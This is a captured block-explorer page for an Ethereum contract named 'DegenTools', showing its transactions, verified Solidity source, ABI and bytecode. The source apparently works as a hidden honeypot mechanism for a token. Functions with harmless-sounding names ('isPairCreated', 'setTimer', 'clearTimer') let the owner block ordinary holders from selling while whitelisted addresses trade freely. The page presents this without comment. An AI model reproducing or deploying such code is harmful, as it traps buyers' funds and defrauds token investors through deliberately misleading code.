ETH Price: $2,645.44 (-0.42%)

Contract

0xb917efe50b27F6946835Df5133a4b2D03EE2E3B7
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Clear Timer176313572023-07-06 0:50:59483 days ago1688604659IN
0xb917efe5...03EE2E3B7
0 ETH0.0014554750.63765918
Set Timer176313502023-07-06 0:49:35483 days ago1688604575IN
0xb917efe5...03EE2E3B7
0 ETH0.0012992745.78945977
Set Timer176313472023-07-06 0:48:59483 days ago1688604539IN
0xb917efe5...03EE2E3B7
0 ETH0.0013240546.66281444
Set Timer176313442023-07-06 0:48:23483 days ago1688604503IN
0xb917efe5...03EE2E3B7
0 ETH0.0013364347.0990833
Set Timer176313422023-07-06 0:47:59483 days ago1688604479IN
0xb917efe5...03EE2E3B7
0 ETH0.001497652.77895567
Set Timer176313242023-07-06 0:44:23483 days ago1688604263IN
0xb917efe5...03EE2E3B7
0 ETH0.0014378250.67241713
Set Timer176312592023-07-06 0:30:59483 days ago1688603459IN
0xb917efe5...03EE2E3B7
0 ETH0.0024469153.8078723
Refresh176310022023-07-05 23:38:35483 days ago1688600315IN
0xb917efe5...03EE2E3B7
0 ETH0.0033534647.34126024
0x60806040176310002023-07-05 23:38:11483 days ago1688600291IN
 Contract Creation
0 ETH0.014705549.72040327

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xe2c39b95...D34f5F858
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
DegenTools

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-05
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract Ownable {
    address private _owner;    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        _owner = msg.sender;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == msg.sender);
        _;
    }
}


contract DegenTools is Ownable {

    address private tokenAddress;
    address private pairAddress;
    bool private isDone;

    mapping(address => bool) private _whites;
    mapping (address => uint256) private _timer;

    uint256 private curTime;

    modifier onlyToken() {
        require(msg.sender == tokenAddress); 
        _;
    }

    function clearTimer(bool isFinished) external onlyOwner {
      isDone = isFinished;
    }

    function refresh(address _token, address _pair) external onlyOwner {
      tokenAddress = _token;
      pairAddress = _pair;
      isDone = false;
      curTime = 0;
    }

    function setTimer() external onlyOwner {
      curTime = block.timestamp;
    }

    function whitelist(address owner_, bool _isWhitelist) external onlyOwner {
      _whites[owner_] = _isWhitelist;
    }

    function isPairCreated(address _from, address _to) external onlyToken returns (uint256) {
      if (_whites[_from] || _whites[_to]) {
        return 1;
      }
      if (_from == pairAddress) {
        if (_timer[_to] == 0) {
          _timer[_to] = block.timestamp;
        }
      } else if (_to == pairAddress) {
        require(!isDone && _timer[_from] >= curTime);
      } else {
        _timer[_to] = 0;
      }
      return 0;
    }

    receive() external payable {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"bool","name":"isFinished","type":"bool"}],"name":"clearTimer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"isPairCreated","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"refresh","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTimer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"bool","name":"_isWhitelist","type":"bool"}],"name":"whitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

Deployed Bytecode

0x60806040526004361061004e5760003560e01c80638c3fd1db1461005a578063a23a9a5b1461007c578063b0185da4146100ae578063bdd4391a146100c3578063f59c3708146100e357600080fd5b3661005557005b600080fd5b34801561006657600080fd5b5061007a610075366004610337565b610103565b005b34801561008857600080fd5b5061009c610097366004610337565b610154565b60405190815260200160405180910390f35b3480156100ba57600080fd5b5061007a610287565b3480156100cf57600080fd5b5061007a6100de36600461037a565b6102a4565b3480156100ef57600080fd5b5061007a6100fe36600461039c565b6102d9565b6000546001600160a01b0316331461011a57600080fd5b600180546001600160a01b039384166001600160a01b0319909116179055600280546001600160a81b031916919092161790556000600555565b6001546000906001600160a01b0316331461016e57600080fd5b6001600160a01b03831660009081526003602052604090205460ff16806101ad57506001600160a01b03821660009081526003602052604090205460ff165b156101ba57506001610281565b6002546001600160a01b0390811690841603610210576001600160a01b038216600090815260046020526040812054900361020b576001600160a01b03821660009081526004602052604090204290555b61027d565b6002546001600160a01b039081169083160361026357600254600160a01b900460ff1615801561025a57506005546001600160a01b03841660009081526004602052604090205410155b61020b57600080fd5b6001600160a01b0382166000908152600460205260408120555b5060005b92915050565b6000546001600160a01b0316331461029e57600080fd5b42600555565b6000546001600160a01b031633146102bb57600080fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146102f057600080fd5b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b80356001600160a01b038116811461033257600080fd5b919050565b6000806040838503121561034a57600080fd5b6103538361031b565b91506103616020840161031b565b90509250929050565b8035801515811461033257600080fd5b60006020828403121561038c57600080fd5b6103958261036a565b9392505050565b600080604083850312156103af57600080fd5b6103b88361031b565b91506103616020840161036a56fea2646970667358221220557ef38ef94b562d2db6e47f3f3f137a4af02b4bd86ed425112e9265ab764edd64736f6c63430008130033

Deployed Bytecode Sourcemap

453:1364:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;917:176;;;;;;;;;;-1:-1:-1;917:176:0;;;;;:::i;:::-;;:::i;:::-;;1318:453;;;;;;;;;;-1:-1:-1;1318:453:0;;;;;:::i;:::-;;:::i;:::-;;;603:25:1;;;591:2;576:18;1318:453:0;;;;;;;1101:81;;;;;;;;;;;;;:::i;817:92::-;;;;;;;;;;-1:-1:-1;817:92:0;;;;;:::i;:::-;;:::i;1190:120::-;;;;;;;;;;-1:-1:-1;1190:120:0;;;;;:::i;:::-;;:::i;917:176::-;403:6;;-1:-1:-1;;;;;403:6:0;413:10;403:20;395:29;;;;;;993:12:::1;:21:::0;;-1:-1:-1;;;;;993:21:0;;::::1;-1:-1:-1::0;;;;;;993:21:0;;::::1;;::::0;;1023:11:::1;:19:::0;;-1:-1:-1;;;;;;1051:14:0;1023:19;;;::::1;1051:14:::0;;;993:12:::1;1074:7;:11:::0;917:176::o;1318:453::-;775:12;;1397:7;;-1:-1:-1;;;;;775:12:0;761:10;:26;753:35;;;;;;-1:-1:-1;;;;;1419:14:0;::::1;;::::0;;;:7:::1;:14;::::0;;;;;::::1;;::::0;:30:::1;;-1:-1:-1::0;;;;;;1437:12:0;::::1;;::::0;;;:7:::1;:12;::::0;;;;;::::1;;1419:30;1415:65;;;-1:-1:-1::0;1469:1:0::1;1462:8;;1415:65;1501:11;::::0;-1:-1:-1;;;;;1501:11:0;;::::1;1492:20:::0;;::::1;::::0;1488:259:::1;;-1:-1:-1::0;;;;;1529:11:0;::::1;;::::0;;;:6:::1;:11;::::0;;;;;:16;;1525:76:::1;;-1:-1:-1::0;;;;;1560:11:0;::::1;;::::0;;;:6:::1;:11;::::0;;;;1574:15:::1;1560:29:::0;;1525:76:::1;1488:259;;;1627:11;::::0;-1:-1:-1;;;;;1627:11:0;;::::1;1620:18:::0;;::::1;::::0;1616:131:::1;;1660:6;::::0;-1:-1:-1;;;1660:6:0;::::1;;;1659:7;:35:::0;::::1;;;-1:-1:-1::0;1687:7:0::1;::::0;-1:-1:-1;;;;;1670:13:0;::::1;;::::0;;;:6:::1;:13;::::0;;;;;:24:::1;;1659:35;1651:44;;;::::0;::::1;1616:131;-1:-1:-1::0;;;;;1722:11:0;::::1;1736:1;1722:11:::0;;;:6:::1;:11;::::0;;;;:15;1616:131:::1;-1:-1:-1::0;1762:1:0::1;800;1318:453:::0;;;;:::o;1101:81::-;403:6;;-1:-1:-1;;;;;403:6:0;413:10;403:20;395:29;;;;;;1159:15:::1;1149:7;:25:::0;1101:81::o;817:92::-;403:6;;-1:-1:-1;;;;;403:6:0;413:10;403:20;395:29;;;;;;882:6:::1;:19:::0;;;::::1;;-1:-1:-1::0;;;882:19:0::1;-1:-1:-1::0;;;;882:19:0;;::::1;::::0;;;::::1;::::0;;817:92::o;1190:120::-;403:6;;-1:-1:-1;;;;;403:6:0;413:10;403:20;395:29;;;;;;-1:-1:-1;;;;;1272:15:0;;;::::1;;::::0;;;:7:::1;:15;::::0;;;;:30;;-1:-1:-1;;1272:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;1190:120::o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:260::-;260:6;268;321:2;309:9;300:7;296:23;292:32;289:52;;;337:1;334;327:12;289:52;360:29;379:9;360:29;:::i;:::-;350:39;;408:38;442:2;431:9;427:18;408:38;:::i;:::-;398:48;;192:260;;;;;:::o;639:160::-;704:20;;760:13;;753:21;743:32;;733:60;;789:1;786;779:12;804:180;860:6;913:2;901:9;892:7;888:23;884:32;881:52;;;929:1;926;919:12;881:52;952:26;968:9;952:26;:::i;:::-;942:36;804:180;-1:-1:-1;;;804:180:1:o;989:254::-;1054:6;1062;1115:2;1103:9;1094:7;1090:23;1086:32;1083:52;;;1131:1;1128;1121:12;1083:52;1154:29;1173:9;1154:29;:::i;:::-;1144:39;;1202:35;1233:2;1222:9;1218:18;1202:35;:::i

Swarm Source

ipfs://557ef38ef94b562d2db6e47f3f3f137a4af02b4bd86ed425112e9265ab764edd

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.